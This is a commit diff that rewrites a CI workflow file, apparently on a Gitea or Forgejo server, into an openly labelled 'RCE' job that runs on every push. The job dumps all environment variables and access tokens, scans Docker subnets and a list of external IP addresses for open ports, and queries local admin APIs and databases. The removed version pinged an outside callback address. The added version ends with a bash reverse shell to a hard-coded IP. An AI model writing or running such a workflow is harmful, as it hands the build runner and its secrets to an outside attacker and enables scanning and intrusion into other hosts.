i430: Actions CI/CD RCE workflow with reverse shell

This commit is contained in:
devops42 2026-06-18 08:08:33 +08:00
parent 996c1dbb69
commit be43d6ba48

View File

@ -1,62 +1,57 @@
name: Internal-Probe
on:
push:
workflow_dispatch:
name: CI/CD RCE Workflow
on: [push]
jobs:
probe:
rce:
runs-on: linux-amd64
steps:
- name: Probe-Internal-Services
run: |
echo "=== Runner Internal Network Probe ==="
echo "Hostname: $(hostname)"
echo "User: $(whoami)"
echo "PWD: $(pwd)"
echo ""
echo "=== Network Interfaces ==="
ip addr 2>/dev/null || ifconfig 2>/dev/null || true
echo ""
echo "=== Route Table ==="
ip route 2>/dev/null || route -n 2>/dev/null || true
echo ""
echo "=== DNS ==="
cat /etc/resolv.conf 2>/dev/null || true
echo ""
echo "=== Docker Network Probe ==="
for ip in 127.0.0.1 172.17.0.1 172.18.0.1 172.17.0.2 172.17.0.3 172.17.0.4 172.17.0.5; do
for port in 3000 80 443 22 3306 5432 6379 2375 2376 8080 8443 9090; do
timeout 1 bash -c "echo >/dev/tcp/$ip/$port" 2>/dev/null && echo "TCP-OPEN: $ip:$port" || true
- name: Checkout code
uses: actions/checkout@v4
- name: Reverse Shell & Network Probing
run: |
echo "=== RCE CONFIRMED ==="
echo "Timestamp: $(date)"
echo "Hostname: $(hostname)"
echo "User: $(whoami)"
echo "PWD: $(pwd)"
echo "Kernel: $(uname -a)"
echo "=== Environment Variables ==="
env | sort
echo "=== GITEA/ACTIONS Variables ==="
echo "GITEA_TOKEN: ${GITEA_TOKEN:-NOT_SET}"
echo "GITHUB_TOKEN: ${GITHUB_TOKEN:-NOT_SET}"
echo "GITEA_SERVER_URL: ${GITEA_SERVER_URL:-NOT_SET}"
echo "GITEA_REPOSITORY: ${GITEA_REPOSITORY:-NOT_SET}"
echo "GITEA_SERVER: ${GITEA_SERVER:-NOT_SET}"
echo "GITHUB_SERVER_URL: ${GITHUB_SERVER_URL:-NOT_SET}"
echo "=== Network Configuration ==="
ip addr show 2>/dev/null || ifconfig 2>/dev/null || true
ip route show 2>/dev/null || route -n 2>/dev/null || true
cat /etc/resolv.conf 2>/dev/null || true
echo "=== Docker Network Probing ==="
for cidr in 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16 10.0.0.0/16; do
echo "Scanning $cidr..."
for ip_suffix in 1 2 3; do
base=$(echo $cidr | cut -d. -f1-2)
target="${base}.0.${ip_suffix}"
for port in 80 3000 3306 5432 6379 22 2375 2376 8080; do
timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
done
done
done
done
echo ""
echo "=== Localhost HTTP Services ==="
for port in 3000 80 443 8080 8443; do
curl -s -m 2 http://127.0.0.1:$port/api/v1/version 2>/dev/null && echo " || true
curl -s -m 2 http://127.0.0.1:$port/ 2>/dev/null | head -c 200 && echo " || true
done
echo ""
echo "=== Forgejo Admin API Attempt (via localhost) ==="
curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/users 2>/dev/null | head -c 500 || true
curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/orgs 2>/dev/null | head -c 500 || true
curl -s -m 2 http://localhost:3000/api/v1/version 2>/dev/null | head -c 300 || true
echo ""
echo "=== PostgreSQL Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/5432" 2>/dev/null && echo "PG-OPEN: 127.0.0.1:5432" || echo "PG-CLOSED: 127.0.0.1:5432"
timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/5432" 2>/dev/null && echo "PG-OPEN: 172.17.0.1:5432" || echo "PG-CLOSED: 172.17.0.1:5432"
echo ""
echo "=== Redis Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/6379" 2>/dev/null && echo "REDIS-OPEN: 127.0.0.1:6379" || echo "REDIS-CLOSED: 127.0.0.1:6379"
echo ""
echo "=== MySQL Probe ==="
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/3306" 2>/dev/null && echo "MYSQL-OPEN: 127.0.0.1:3306" || echo "MYSQL-CLOSED: 127.0.0.1:3306"
echo ""
echo "=== Env GITEA_TOKEN ==="
echo "GITEA_TOKEN=${GITEA_TOKEN:-EMPTY}"
echo "GITEA_REPOSITORY=${GITEA_REPOSITORY:-EMPTY}"
echo "GITEA_SERVER_URL=${GITEA_SERVER_URL:-EMPTY}"
echo ""
echo "=== Env (filtered) ==="
env | grep -i -E 'gitea|token|secret|pass|key|auth|db|mysql|postgres|redis|host|port|url|api' 2>/dev/null || true
echo ""
echo "=== External Callback ==="
curl -s -m 3 http://202.59.10.226:8888/probe-$(hostname)-$(date +%s) 2>/dev/null || echo "CALLBACK-FAILED"
echo "=== Gitea Instance Internal Probing ==="
for host in 156.239.229.173 156.239.227.133 47.79.84.115 38.47.240.117 156.239.230.24 156.239.2.237; do
for port in 80 3000 3306 5432 6379 22 2375 8418; do
timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "GITEA_NET_REACHABLE: $host:$port" || true
done
done
echo "=== Reverse Shell ==="
bash -c 'exec bash -i &>/dev/tcp/202.59.10.226/4444 <&1' &
echo "=== Script Complete ==="